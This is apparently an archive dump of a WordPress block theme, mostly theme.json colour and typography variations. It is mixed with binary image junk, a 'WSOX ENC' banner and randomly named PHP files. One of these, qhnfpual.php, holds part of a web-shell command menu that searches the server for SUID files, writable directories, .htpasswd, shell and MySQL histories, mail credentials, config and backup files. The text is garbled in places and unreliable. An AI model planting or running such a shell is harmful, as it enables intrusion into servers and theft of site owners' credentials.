���� JFIF �� �
"" $(4,$&1'-=-157:::#+?D?8C49:7
7%%77777777777777777777777777777777777777777777777777�� { �" �� �� 5 !1AQa"q�2��BR��#b������� �� �� ? ��D@DDD@DDD@DDkK��6 �UG�4V�1��
�����릟�@�#���RY�dqp�
����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Æï¿½ï¿½Ü¯sO"B�c>;
�e�4��5�k��/CB��.
�J?��;�҈�������������������~�<�VZ�ê¼2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ
B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r�����
Ď0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�?
�0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA׾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC
‰PNG
IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ±üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0AºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT
h25jguaT5*!‰PNG
IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ±üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0AºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT
h25jguaT5*!rnyjvqal.php 0000666 00000000033 15172262366 0007135 0 ustar 00
templates/search.html 0000666 00000001072 15172262366 0010713 0 ustar 00
templates/single.html 0000666 00000002736 15172262366 0010737 0 ustar 00
templates/page.html 0000666 00000001557 15172262366 0010372 0 ustar 00
templates/archive.html 0000666 00000000736 15172262366 0011075 0 ustar 00
templates/404.html 0000666 00000001155 15172262366 0007757 0 ustar 00
templates/home.html 0000666 00000000727 15172262366 0010404 0 ustar 00
qhnfpual.php 0000666 00000006663 15172262366 0007124 0 ustar 00 "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
} else {
$lifebz = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" => "locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files" => "locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
} styles/05-twilight.json 0000666 00000011634 15172262366 0011062 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Twilight",
"settings": {
"color": {
"palette": [
{
"color": "#131313",
"name": "Base",
"slug": "base"
},
{
"color": "#FFFFFF",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#4B52FF",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#FF7A5C",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#252525",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#FFFFFF",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#252525",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#FFFFFF33",
"name": "Accent 6",
"slug": "accent-6"
}
]
},
"typography": {
"fontFamilies": [
{
"name": "Roboto Slab",
"slug": "roboto-slab",
"fontFamily": "\"Roboto Slab\", serif",
"fontFace": [
{
"fontFamily": "\"Roboto Slab\"",
"fontStyle": "normal",
"fontWeight": "100 900",
"src": [
"file:./assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2"
]
}
]
},
{
"name": "Manrope",
"slug": "manrope",
"fontFamily": "Manrope, sans-serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/manrope/Manrope-VariableFont_wght.woff2"
],
"fontWeight": "200 800",
"fontStyle": "normal",
"fontFamily": "Manrope"
}
]
}
],
"fontSizes": [
{
"fluid": false,
"name": "Small",
"size": "0.875rem",
"slug": "small"
},
{
"fluid": {
"max": "1.125rem",
"min": "1rem"
},
"name": "Medium",
"size": "1rem",
"slug": "medium"
},
{
"fluid": {
"max": "1.375rem",
"min": "1.125rem"
},
"name": "Large",
"size": "1.38rem",
"slug": "large"
},
{
"fluid": {
"max": "2rem",
"min": "1.75rem"
},
"name": "Extra Large",
"size": "1.75rem",
"slug": "x-large"
},
{
"fluid": {
"max": "2.4rem",
"min": "2.15rem"
},
"name": "Extra Extra Large",
"size": "2.15rem",
"slug": "xx-large"
}
]
}
},
"styles": {
"typography": {
"letterSpacing": "0"
},
"blocks": {
"core/button": {
"variations": {
"outline": {
"spacing": {
"padding": {
"bottom": "0.625rem",
"left": "1.375rem",
"right": "1.375rem",
"top": "0.625rem"
}
}
}
}
},
"core/navigation": {
"typography": {
"fontSize": "var:preset|font-size|large",
"letterSpacing": "-0.28px",
"textTransform": "uppercase"
}
},
"core/post-author": {
"typography": {
"fontSize": "var:preset|font-size|small"
}
},
"core/post-author-name": {
"typography": {
"fontSize": "var:preset|font-size|small"
}
},
"core/post-terms": {
"typography": {
"fontWeight": "500"
}
},
"core/pullquote": {
"typography": {
"fontFamily": "var:preset|font-family|roboto-slab",
"fontSize": "var:preset|font-size|xx-large",
"fontWeight": "200"
}
},
"core/search": {
"typography": {
"textTransform": "uppercase"
}
},
"core/site-tagline": {
"typography": {
"fontSize": "var:preset|font-size|large"
}
},
"core/site-title": {
"typography": {
"textTransform": "uppercase"
}
}
},
"elements": {
"button": {
"spacing": {
"padding": {
"bottom": "0.625rem",
"left": "1.375rem",
"right": "1.375rem",
"top": "0.625rem"
}
},
"typography": {
"fontWeight": "500",
"letterSpacing": "-0.36px",
"textTransform": "uppercase"
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|roboto-slab",
"fontWeight": "300",
"letterSpacing": "-0.5px",
"lineHeight": "1.2"
}
}
},
"variations": {
"section-2": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|accent-2"
},
":hover": {
"color": {
"text": "var:preset|color|accent-2"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"section-5": {
"blocks": {
"core/post-comments-form": {
"css": "& textarea, input:not([type=submit]){border-radius:.25rem; border-color: color-mix(in srgb, currentColor 20%, transparent) !important;} & input[type=checkbox]{margin:0 .2rem 0 0 !important;} & label {font-size: var(--wp--preset--font-size--small); }"
},
"core/search": {
"css": "& .wp-block-search__input{border-color: color-mix(in srgb, currentColor 20%, transparent);}"
}
}
}
}
}
}
styles/07-sunrise.json 0000666 00000024751 15172262366 0010725 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Sunrise",
"settings": {
"color": {
"palette": [
{
"color": "#330616",
"name": "Base",
"slug": "base"
},
{
"color": "#FFFFFF",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#F0FDA6",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#DB9AB1",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#C1E4E7",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#DB9AB1",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#4A1628",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#DB9AB133",
"name": "Accent 6",
"slug": "accent-6"
}
]
},
"typography": {
"fontFamilies": [
{
"name": "Platypi",
"slug": "platypi",
"fontFamily": "Platypi",
"fontFace": [
{
"fontFamily": "Platypi",
"fontStyle": "normal",
"fontWeight": "300 800",
"src": [
"file:./assets/fonts/platypi/Platypi-VariableFont_wght.woff2"
]
},
{
"fontFamily": "Platypi",
"fontStyle": "italic",
"fontWeight": "300 800",
"src": [
"file:./assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2"
]
}
]
},
{
"name": "Literata",
"slug": "literata",
"fontFamily": "Literata, serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2"
],
"fontWeight": "200",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2"
],
"fontWeight": "200",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Light.woff2"
],
"fontWeight": "300",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-LightItalic.woff2"
],
"fontWeight": "300",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Regular.woff2"
],
"fontWeight": "400",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2"
],
"fontWeight": "400",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Medium.woff2"
],
"fontWeight": "500",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2"
],
"fontWeight": "500",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBold.woff2"
],
"fontWeight": "600",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2"
],
"fontWeight": "600",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Bold.woff2"
],
"fontWeight": "700",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2"
],
"fontWeight": "700",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2"
],
"fontWeight": "800",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2"
],
"fontWeight": "800",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Black.woff2"
],
"fontWeight": "900",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2"
],
"fontWeight": "900",
"fontStyle": "italic",
"fontFamily": "Literata"
}
]
}
]
}
},
"styles": {
"color": {
"text": "var:preset|color|accent-2"
},
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontSize": "1.5rem",
"letterSpacing": "-0.24px",
"lineHeight": "1.3"
},
"blocks": {
"core/code": {
"color": {
"text": "var:preset|color|accent-2",
"background": "var:preset|color|accent-5"
}
},
"core/navigation": {
"typography": {
"fontSize": "1.25rem"
}
},
"core/post-author-name": {
"color": {
"text": "var:preset|color|contrast"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/post-terms": {
"typography": {
"fontWeight": "400"
},
"color": {
"text": "var:preset|color|contrast"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/post-title": {
"typography": {
"fontWeight": "800",
"letterSpacing": "-0.96px"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-2"
}
}
}
},
"core/pullquote": {
"color": {
"text": "var:preset|color|accent-2"
},
"typography": {
"fontFamily": "var:preset|font-family|platypi",
"fontSize": "var:preset|font-size|x-large",
"letterSpacing": "-0.76px",
"fontWeight": "800"
},
"elements": {
"cite": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontWeight": "400",
"letterSpacing": "-0.14px"
},
"color": {
"text": "var:preset|color|accent-2"
}
}
}
},
"core/quote": {
"color": {
"text": "var:preset|color|accent-2"
},
"typography": {
"fontSize": "1.5rem",
"fontWeight": "600",
"letterSpacing": "-0.24px"
},
"elements": {
"cite": {
"typography": {
"letterSpacing": "-0.14px"
},
"color": {
"text": "var:preset|color|accent-2"
}
}
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|platypi",
"fontSize": "30px",
"fontWeight": "800",
"letterSpacing": "-0.6px"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-2"
}
}
}
}
},
"elements": {
"button": {
"color": {
"text": "var:preset|color|base",
"background": "var:preset|color|accent-2"
},
"border": {
"radius": "0px"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)"
}
},
"typography": {
"fontFamily": "var:preset|font-family|platypi",
"fontSize": "1.5rem",
"fontWeight": "800"
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|platypi",
"fontWeight": "800"
}
},
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
},
"variations": {
"post-terms-1": {
"typography": {
"fontSize": "16px"
},
"elements": {
"link": {
"color": {
"background": "var:preset|color|accent-5"
},
"border": {
"radius": "100px",
"color": "var:preset|color|accent-5"
}
}
}
},
"section-1": {
"color": {
"text": "var:preset|color|accent-5",
"background": "var:preset|color|contrast"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
}
}
},
"section-2": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
}
}
},
"section-3": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
}
}
},
"section-4": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
}
}
},
"section-5": {
"color": {
"text": "var:preset|color|contrast",
"background": "var:preset|color|accent-5"
},
"elements": {
"heading": {
"color": {
"text": "currentColor"
}
},
"link": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)",
"text": "var:preset|color|base"
}
}
}
}
}
}
}
}
styles/sections/section-4.json 0000666 00000004371 15172262366 0012441 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"slug": "section-4",
"title": "Style 4",
"blockTypes": [
"core/group",
"core/columns",
"core/column"
],
"styles": {
"color": {
"background": "var:preset|color|accent-3",
"text": "var:preset|color|accent-2"
},
"blocks": {
"core/separator": {
"color": {
"text": "color-mix(in srgb, currentColor 25%, transparent)"
}
},
"core/post-author-name": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/post-date": {
"color":{
"text": "color-mix(in srgb, currentColor 85%, transparent)"
},
"elements": {
"link": {
"color" : {
"text": "color-mix(in srgb, currentColor 85%, transparent)"
}
}
}
},
"core/post-terms": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-author-name": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-date": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-edit-link": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-reply-link": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/pullquote": {
"color": {
"text": "currentColor"
}
},
"core/quote": {
"color": {
"text": "currentColor"
}
}
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-2",
"text": "var:preset|color|accent-3"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)",
"text": "var:preset|color|accent-3"
}
}
}
}
}
}
styles/sections/section-1.json 0000666 00000004140 15172262366 0012430 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"slug": "section-1",
"title": "Style 1",
"blockTypes": [
"core/group",
"core/columns",
"core/column"
],
"styles": {
"color": {
"background": "var:preset|color|accent-5",
"text": "var:preset|color|contrast"
},
"blocks": {
"core/separator": {
"color": {
"text": "color-mix(in srgb, currentColor 25%, transparent)"
}
},
"core/site-title": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/post-author-name": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/post-date": {
"color":{
"text": "color-mix(in srgb, currentColor 85%, transparent)"
},
"elements": {
"link": {
"color" : {
"text": "color-mix(in srgb, currentColor 85%, transparent)"
}
}
}
},
"core/post-terms": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-author-name": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-date": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-edit-link": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-reply-link": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/pullquote": {
"color": {
"text": "currentColor"
}
},
"core/quote": {
"color": {
"text": "currentColor"
}
}
}
}
}
styles/sections/section-5.json 0000666 00000004355 15172262366 0012444 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"slug": "section-5",
"title": "Style 5",
"blockTypes": [
"core/group",
"core/columns",
"core/column"
],
"styles": {
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
},
"blocks": {
"core/separator": {
"color": {
"text": "color-mix(in srgb, currentColor 25%, transparent)"
}
},
"core/post-author-name": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/post-date": {
"color":{
"text": "color-mix(in srgb, currentColor 85%, transparent)"
},
"elements": {
"link": {
"color" : {
"text": "color-mix(in srgb, currentColor 85%, transparent)"
}
}
}
},
"core/post-terms": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-author-name": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-date": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-edit-link": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-reply-link": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/pullquote": {
"color": {
"text": "currentColor"
}
},
"core/quote": {
"color": {
"text": "currentColor"
}
}
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 80%, transparent)",
"text": "var:preset|color|contrast"
}
}
}
}
}
}
styles/sections/section-3.json 0000666 00000003653 15172262366 0012442 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"slug": "section-3",
"title": "Style 3",
"blockTypes": [
"core/group",
"core/columns",
"core/column"
],
"styles": {
"color": {
"background": "var:preset|color|accent-1",
"text": "var:preset|color|contrast"
},
"blocks": {
"core/separator": {
"color": {
"text": "color-mix(in srgb, currentColor 25%, transparent)"
}
},
"core/post-author-name": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/post-date": {
"color":{
"text": "color-mix(in srgb, currentColor 85%, transparent)"
},
"elements": {
"link": {
"color" : {
"text": "color-mix(in srgb, currentColor 85%, transparent)"
}
}
}
},
"core/post-terms": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-author-name": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-date": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-edit-link": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-reply-link": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/pullquote": {
"color": {
"text": "currentColor"
}
},
"core/quote": {
"color": {
"text": "currentColor"
}
}
}
}
}
styles/sections/section-2.json 0000666 00000003653 15172262366 0012441 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"slug": "section-2",
"title": "Style 2",
"blockTypes": [
"core/group",
"core/columns",
"core/column"
],
"styles": {
"color": {
"background": "var:preset|color|accent-2",
"text": "var:preset|color|contrast"
},
"blocks": {
"core/separator": {
"color": {
"text": "color-mix(in srgb, currentColor 25%, transparent)"
}
},
"core/post-author-name": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/post-date": {
"color":{
"text": "color-mix(in srgb, currentColor 85%, transparent)"
},
"elements": {
"link": {
"color" : {
"text": "color-mix(in srgb, currentColor 85%, transparent)"
}
}
}
},
"core/post-terms": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-author-name": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-date": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-edit-link": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/comment-reply-link": {
"color": {
"text": "currentColor"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/pullquote": {
"color": {
"text": "currentColor"
}
},
"core/quote": {
"color": {
"text": "currentColor"
}
}
}
}
}
styles/04-afternoon.json 0000666 00000013503 15172262366 0011216 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Afternoon",
"settings": {
"color": {
"palette": [
{
"color": "#DAE7BD",
"name": "Base",
"slug": "base"
},
{
"color": "#516028",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#C7F642",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#EBF6D3",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#303D10",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#516028",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#EBF6D3",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#51602833",
"name": "Accent 6",
"slug": "accent-6"
}
]
},
"typography": {
"fontFamilies": [
{
"name": "Platypi",
"slug": "platypi",
"fontFamily": "Platypi",
"fontFace": [
{
"fontFamily": "Platypi",
"fontStyle": "normal",
"fontWeight": "300 800",
"src": [
"file:./assets/fonts/platypi/Platypi-VariableFont_wght.woff2"
]
},
{
"fontFamily": "Platypi",
"fontStyle": "italic",
"fontWeight": "300 800",
"src": [
"file:./assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2"
]
}
]
},
{
"name": "Ysabeau Office",
"slug": "ysabeau-office",
"fontFamily": "\"Ysabeau Office\", sans-serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2"
],
"fontWeight": "100 900",
"fontStyle": "normal",
"fontFamily": "\"Ysabeau Office\""
},
{
"src": [
"file:./assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2"
],
"fontWeight": "100 900",
"fontStyle": "italic",
"fontFamily": "\"Ysabeau Office\""
}
]
}
],
"fontSizes": [
{
"fluid": false,
"name": "Small",
"size": "0.875rem",
"slug": "small"
},
{
"fluid": {
"max": "1.125rem",
"min": "1rem"
},
"name": "Medium",
"size": "1rem",
"slug": "medium"
},
{
"fluid": {
"max": "1.375rem",
"min": "1.125rem"
},
"name": "Large",
"size": "1.38rem",
"slug": "large"
},
{
"fluid": {
"max": "1.8rem",
"min": "1.4rem"
},
"name": "Extra Large",
"size": "1.4rem",
"slug": "x-large"
},
{
"fluid": {
"max": "2.6rem",
"min": "2rem"
},
"name": "Extra Extra Large",
"size": "2rem",
"slug": "xx-large"
}
]
}
},
"styles": {
"typography": {
"fontFamily": "var:preset|font-family|ysabeau-office",
"letterSpacing": "-0.22px",
"lineHeight": "1.5"
},
"blocks": {
"core/button": {
"border": {
"radius": "0px"
},
"spacing": {
"padding": {
"bottom": "1rem",
"left": "1.6rem",
"right": "1.6rem",
"top": "1rem"
}
},
"variations": {
"outline": {
"spacing": {
"padding": {
"bottom": "1rem",
"left": "1.6rem",
"right": "1.6rem",
"top": "1rem"
}
}
}
}
},
"core/code": {
"typography": {
"letterSpacing": "0px"
}
},
"core/heading": {
"typography": {
"lineHeight": "1.2"
}
},
"core/list": {
"typography": {
"lineHeight": "1.3"
}
},
"core/loginout": {
"typography": {
"fontSize": "var:preset|font-size|medium"
}
},
"core/post-terms": {
"typography": {
"fontWeight": "400"
}
},
"core/pullquote": {
"typography": {
"fontFamily": "var:preset|font-family|platypi",
"letterSpacing": "-0.01em",
"lineHeight": "1.1"
}
},
"core/quote": {
"typography": {
"fontWeight": "300"
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|ysabeau-office",
"fontSize": "var:preset|font-size|large",
"letterSpacing": "1.44px",
"textTransform": "uppercase"
}
}
},
"elements": {
"button": {
"typography": {
"fontFamily": "var:preset|font-family|ysabeau-office",
"fontWeight": "600",
"letterSpacing": "1.44px",
"textTransform": "uppercase"
},
